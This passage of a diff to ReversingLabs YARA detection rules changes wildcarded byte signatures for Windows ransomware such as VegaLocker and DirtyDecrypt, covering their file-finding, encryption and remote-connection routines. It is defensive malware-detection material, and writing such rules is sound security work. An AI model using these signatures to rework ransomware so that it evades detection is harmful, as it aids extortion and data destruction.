-            45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8
-            ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ??
-            ?? ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83
-            7D ?? ?? 74 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44
-            24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24 ?? 8B 45
+		$remote_connection = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 89 85 ??
+            ?? ?? ?? 33 DB 8B 45 ?? 8B FA 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53
+            50 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? A0 ?? ?? ?? ?? 88 45 ?? 8D 85 ??
+            ?? ?? ?? 53 53 53 53 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ??
+            85 DB 74 ?? 33 C0 50 50 6A ?? 50 50 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 8B F8 85
+            FF 74 ?? 33 C0 50 68 ?? ?? ?? ?? 50 50 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ?? 50
+            57 FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 8B 95 ?? ?? ?? ?? 33 C9 85 D2 74 ?? 8B CA 8D
+            41 ?? 89 85 ?? ?? ?? ?? 8A 01 41 84 C0 75 ?? 2B 8D ?? ?? ?? ?? 51 52 6A ?? 6A ?? 53
+            FF 15 ?? ?? ?? ?? 53 FF D6 8B 9D ?? ?? ?? ?? 57 FF D6 53 FF D6 8B 4D ?? 5F 5E 33 CD
+            5B E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$encrypt_files_p3 = {
-            89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC
-            ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04
-            24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ??
-            A1 ?? ?? ?? ?? FF D0 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? 39 55 ?? 7F ?? 39 55 ?? 7C ?? 39
-            45 ?? 77 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? C7 44 24
-            ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ??
-            89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 54 24 ?? 8D 55 ?? 89 54 24 ?? 8B 55 ??
-            89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 55 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89
-            04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 8B 55 ?? 89 54 24 ?? 89 44 24 ?? C7 44
-            24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? 29 45 ??
-            19 55 ?? 83 7D ?? ?? 0F 8F ?? ?? ?? ?? 83 7D ?? ?? 78 ?? 83 7D ?? ?? 0F 87 ?? ?? ??
-            ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04
-            24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ??
-            ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0
+		$encrypt_files_1 = {
+            55 8B EC 51 51 83 4D ?? ?? 83 4D ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68
+            ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ?? 6A ?? 58 EB ?? 56 8D 45 ?? 50
+            57 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 75 ?? 6A ?? EB ?? 8B 75 ?? 3B C6 0F 42 F0 83 7D
+            ?? ?? 74 ?? 6A ?? 8D 45 ?? 50 56 FF 75 ?? 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? 5E
+            57 FF 15 ?? ?? ?? ?? EB ?? 57 FF 15 ?? ?? ?? ?? 3B 75 ?? 6A ?? 58 0F 45 F0 8B C6 EB
+            ?? 57 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5E 5F 8B E5 5D C2
         }
-		$find_files_p1 = {
-            55 89 E5 57 53 81 EC ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C0 ?? C7 44 24
-            ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 89 04 24
-            E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 44
-            24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 89 C2 B8 ?? ?? ?? ??
-            89 D7 F2 AE 89 C8 F7 D0 8D 50 ?? 8B 45 ?? 01 D0 C7 00 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F
-            84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 85 C0 0F 84 ?? ?? ?? ?? 0F B6 95 ?? ?? ??
-            ?? 0F B6 05 ?? ?? ?? ?? 0F B6 D2 0F B6 C0 29 C2 89 D0 85 C0 0F 84 ?? ?? ?? ?? C7 44
-            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ??
-            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ??
-            89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83
-            E0 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C3 8D 85 ?? ?? ??
-            ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 01 D8 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24
+		$encrypt_files_2_p1 = {
+            68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 33 C0 89 85 ?? ?? ??
+            ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 45 ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
+            89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ??
+            ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? 50 89 85 ?? ??
+            ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 59 33 C0 8D 7D ??
+            F3 AB 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 85 C0 74 ?? FF 15 ?? ?? ?? ?? 50
+            68 ?? ?? ?? ?? 83 CE ?? EB ?? 6A ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 85
+            C0 74 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 5E 6A ?? 8B D6 59 E8 ?? ?? ?? ??
+            59 59 E9 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 85 F6 75 ?? 6A ?? 5E E9 ?? ?? ?? ?? 80 BD ??
+            ?? ?? ?? ?? B8 ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? 3B F0 0F 47 F0 8D 85 ?? ?? ?? ?? 50
+            56 8B C8 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 FF B5 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
+            ?? 8B F8 85 FF 79 ?? FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? 5A 6A ?? 59 E8 ?? ?? ??
+            ?? 59 59 BE ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ??
+            FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 5A 6A ?? 59 E8 ?? ?? ?? ?? 59 59 6A ?? E9
+            ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 8D 55 ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C7 8B DF 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 40 74 ?? 8B
         }
-		$find_files_p2 = {
-            E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ??
-            89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8
-            ?? ?? ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 89 C2 B8 ?? ?? ?? ?? 89 D7 F2 AE 89 C8 F7 D0 8D
-            50 ?? 8B 45 ?? 01 D0 66 C7 00 ?? ?? A1 ?? ?? ?? ?? 8B 55 ?? 89 54 24 ?? 89 44 24 ??
-            C7 04 24 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ??
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0
-            0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ??
-            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0
+		$encrypt_files_2_p2 = {
+            B5 ?? ?? ?? ?? 43 46 8B C3 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 40 75 ?? 89 B5 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 50 53 8B C8 E8 ?? ?? ?? ?? 33 D2 85 FF 7E ?? 8B 85 ?? ?? ?? ??
+            8A 0C 10 8B 85 ?? ?? ?? ?? 88 0C 10 42 3B D7 7C ?? 3B FB 7D ?? 8B C3 2B C7 50 8B 85
+            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 03 C7 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50
+            53 8B C8 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8B
+            95 ?? ?? ?? ?? 8D 45 ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74
+            ?? 6A ?? E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 59 59 85 C0 75 ?? 6A ?? 33 FF 5A 8B 85 ?? ?? ?? ?? 8A 4C 3D ?? 88 0C 38
+            47 3B FA 7C ?? 8D 75 ?? 6A ?? 2B F2 5F 8B 85 ?? ?? ?? ?? 8A 0C 32 88 0C 10 42 3B D7
+            7C ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 83 EC ?? 8D
+            85 ?? ?? ?? ?? 50 51 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
         }
-		$find_files_p3 = {
-            89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ??
-            ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04
-            24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
-            ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 04
-            24 E8 ?? ?? ?? ?? 89 C3 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 01 D8 83
-            C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B
-            45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 44
-            24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 55 ?? 89 54 24 ?? 89 44 24
-            ?? C7 04 24 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 EB ?? 90 EB ?? 90 EB ?? 90 EB ?? 90 EB
-            ?? 90 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ??
-            85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89
-            04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0
+		$encrypt_files_2_p3 = {
+            85 C0 79 ?? 6A ?? E9 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? BA ?? ?? ?? ?? 2B F7 8B 85 ?? ??
+            ?? ?? 8A 0C 37 88 0C 38 47 3B FA 7C ?? 8B B5 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8A 8C 02 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 88 0C 10 42 81 FA ?? ?? ?? ?? 7C ?? 83 BD ?? ?? ?? ?? ??
+            74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 75 ?? BE ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B C6 E9 ?? ?? ?? ?? 51 6A ?? 53 FF B5 ?? ?? ?? ?? 8D 4D ?? E8
+            ?? ?? ?? ?? 8B F8 85 FF 79 ?? FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? 5A 6A ?? 59 E8
+            ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 87 ?? ?? ?? ??
+            E9 ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B
+            F8 85 FF 79 ?? FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? 5A 6A ?? 59 E8 ?? ?? ?? ?? 59
+            59 EB ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 01 34 85
+            ?? ?? ?? ?? FF 04 85 ?? ?? ?? ?? 33 FF 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B C7 E8 ?? ?? ?? ?? C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($enum_resources_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ($find_files) and ($find_special_folders) and ($encrypt_files_1) and ( all of ($encrypt_files_2_p*)) and ($remote_connection)
 }
-rule REVERSINGLABS_Win32_Ransomware_Vegalocker : TC_DETECTION MALICIOUS MALWARE FILE
+import "pe"
+
+rule REVERSINGLABS_Win32_Ransomware_Dirtydecrypt : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects VegaLocker ransomware."
+		description = "Yara rule that detects DirtyDecrypt ransomware."
 		author = "ReversingLabs"
-		id = "53eec8d1-bab0-5556-92c0-1b70eb763fa5"
+		id = "f4d69c3e-a082-5bc9-bf72-4cc330d3de74"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.VegaLocker.yara#L1-L100"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "8616e72fc435676179e83a304d4111c8f29ebf3cd79ff5b2d229cca8fc97c2a3"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.DirtyDecrypt.yara#L3-L112"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "eb6a1c376b0739848b523e741d0d1ebdbc87056d51931fb94c744aa094d6479f"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -34881,153 +36466,105 @@ rule REVERSINGLABS_Win32_Ransomware_Vegalocker : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "VegaLocker"
+		tc_detection_name = "DirtyDecrypt"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 89 55 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 68 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ??
-            ?? 89 C3 85 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 FF D3 85 C0 74
-            ?? 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45
-            ?? 80 38 ?? 75 ?? 8B 45 ?? 80 78 ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? E8 ?? ??
-            ?? ?? 8B F0 80 3E ?? 0F 84 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F0 80 3E ?? 0F 84
-            ?? ?? ?? ?? EB ?? 8B 75 ?? 83 C6 ?? 8B DE 2B 5D ?? 8D 43 ?? 50 8B 45 ?? 50 8D 85 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F8 8B C7 2B C6
-            03 C3 40 3D ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 8B C7 2B C6 40 50 56 8D 85 ?? ?? ?? ?? 03
-            C3 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 89 45
-            ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
-            8D 53 ?? 03 C2 40 3D ?? ?? ?? ?? 7F ?? C6 84 1D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C3
-            48 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 03 C3 40 50 E8 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 40 03 D8 8B F7 80 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 8D 85
-            ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3
+		$dd_ep = {
+            55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 85 C0 0F 84 BF 00 00 00 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74
+            1F 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB
+            09 8B 4D ?? 83 C1 ?? 89 4D ?? 83 7D ?? ?? 73 15 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 89 44 95 ?? EB DC 6A ?? 68
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ??
+            8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A
+            ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 33 C0 8B E5 5D C2 ?? ??
         }
-		$encrypt_files_p1 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D
-            ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 55 ?? 89 45 ?? 8D 45 ?? E8 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64
-            FF 30 64 89 20 C6 85 ?? ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85
-            ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 E9 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 55 68
-            ?? ?? ?? ?? 64 FF 30 64 89 20 6A ?? 8B 4D ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89
-            45 ?? 8B 45 ?? 8B 10 FF 12 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ??
-            33 D2 8B 45 ?? 8B 08 FF 51 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B
-            45 ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C6
-            85 ?? ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59
-            64 89 10 EB ?? E9 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30
+		$dd_hash = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 D5 00 00 00 83 7D ?? ?? 0F 84 CB 00 00 00 83 7D ?? ?? 0F 84 C1
+            00 00 00 83 7D ?? ?? 0F 84 B7 00 00 00 83 7D ?? ?? 0F 84 AD 00 00 00 83 7D ?? ?? 0F 84 A3 00 00 00 C7 45 ?? ?? ?? ?? ??
+            8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 6F 83 7D ?? ?? 76 2A 6A ?? 6A ?? 8B
+            55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 51 8B 4D ?? 83 E9 ?? 89 4D ?? 8B 55 ?? 83 C2 ?? 89 55 ?? 6A ?? 8B
+            45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 25 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B
+            45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 33 C9 0F 85 74 FF FF FF 83 7D ?? ?? 74 0A 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 8B
+            E5 5D C2 ?? ??
         }
-		$encrypt_files_p2 = {
-            64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 8B 4D ?? B2 ??
